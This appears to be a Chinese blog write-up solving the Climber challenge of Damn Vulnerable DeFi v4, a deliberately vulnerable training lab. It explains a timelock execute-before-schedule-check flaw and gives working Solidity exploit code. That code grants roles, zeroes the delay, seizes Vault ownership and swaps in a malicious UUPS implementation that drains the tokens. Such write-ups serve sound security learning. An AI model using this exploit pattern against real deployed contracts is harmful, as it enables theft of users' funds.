Hello World

Damn-vulnerable-defi-V4-solution(Climber)

一、Climber

背景

Damn Vulnerable DeFi v4 系列挑战里,Climber 是一道考察 UUPS 升级代理Timelock 调度器权限管理绕过 的综合题。

合约设计大意是这样的:

目标是:绕过 Timelock 的延迟限制,把 Vault 的实现升级为攻击合约,然后把金库里的代币转走。

漏洞点分析

仔细阅读 ClimberTimelock 的逻辑,会发现几个关键点:

  1. execute 与 schedule 的顺序问题

    • execute 会在执行完所有目标合约调用之后,才去检查任务是否在 schedule 里。
    • 这意味着如果你能在 execute 执行的过程中“顺手”调用 schedule,那么检查时就会发现任务已经被调度过,条件满足,导致校验通过。
    • 这是一个典型的 顺序设计漏洞
  2. 权限修改逻辑过于宽松

    • 你可以在一次 execute 事务中调用多步操作,比如:

      • 赋予攻击者 PROPOSER_ROLE。
      • 将延迟时间设置为 0。
      • 把 Vault 的所有权转给自己。
      • 最后调用 schedule(由攻击者合约提供)。
    • 因为所有操作都在同一个 execute 中完成,所以 Timelock 自己的安全性被绕过。
  3. UUPS 可升级漏洞

    • 一旦你获得 Vault 的所有权,就能调用 upgradeToAndCall 把实现合约换成攻击者实现,写一个带有 withdrawAll 的新合约即可转走代币。
攻击流程

整个攻击分为四步:

  1. 部署攻击合约 Attacker

    攻击合约在构造函数里就准备好了一套 targets 和 elements(也就是要执行的调用),包括:

    • 给自己加上 PROPOSER_ROLE。
    • 把延迟时间设为 0。
    • 把 Vault 的所有权交给玩家。
    • 调用自身的 timelockSchedule() 来补上 schedule。
  2. 调用 timelockExecute()

    通过 Timelock 的 execute 执行这套调用。

    在第 4 个步骤时,攻击合约内部再调用 schedule,这样 execute 的最后检查不会失败。

  3. 升级 Vault

    攻击者部署一个 PawnedClimberVault(继承自原始 ClimberVault,额外加上一个 withdrawAll 函数)。

    然后调用 upgradeToAndCall 把 Vault 的实现升级成攻击版本。

  4. 提取资金

    调用 withdrawAll(token, receiver) 把所有代币转到自己的地址,攻击完成。

function test_climber() public checkSolvedByPlayer {
        Attacker attacker = new Attacker(payable(timelock), address(vault));
        attacker.timelockExecute();
        PawnedClimberVault newVaultImpl = new PawnedClimberVault();
        vault.upgradeToAndCall(address(newVaultImpl), "");
        PawnedClimberVault(address(vault)).withdrawAll(address(token), recovery);
    }
contract Attacker {
    address payable private immutable timelock;

    uint256[] private _values = [0, 0, 0, 0];
    address[] private _targets = new address[](4);
    bytes[] private _elements = new bytes[](4);

    constructor(address payable _timelock, address _vault) {
        timelock = _timelock;
        _targets = [_timelock, _timelock, _vault, address(this)];

        _elements[0] =
            (abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("PROPOSER_ROLE"), address(this)));
        _elements[1] = abi.encodeWithSignature("updateDelay(uint64)", 0);
        _elements[2] = abi.encodeWithSignature("transferOwnership(address)", msg.sender);
        _elements[3] = abi.encodeWithSignature("timelockSchedule()");
    }

    function timelockExecute() external {
        ClimberTimelock(timelock).execute(_targets, _values, _elements, bytes32("123"));
    }

    function timelockSchedule() external {
        ClimberTimelock(timelock).schedule(_targets, _values, _elements, bytes32("123"));
    }
}
contract PawnedClimberVault is ClimberVault {
    function withdrawAll(address tokenAddress, address receiver) external onlyOwner {
        // withdraw the whole token balance from the contract
        DamnValuableToken token = DamnValuableToken(tokenAddress);
        require(token.transfer(receiver, token.balanceOf(address(this))), "Transfer failed");
    }
}

当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »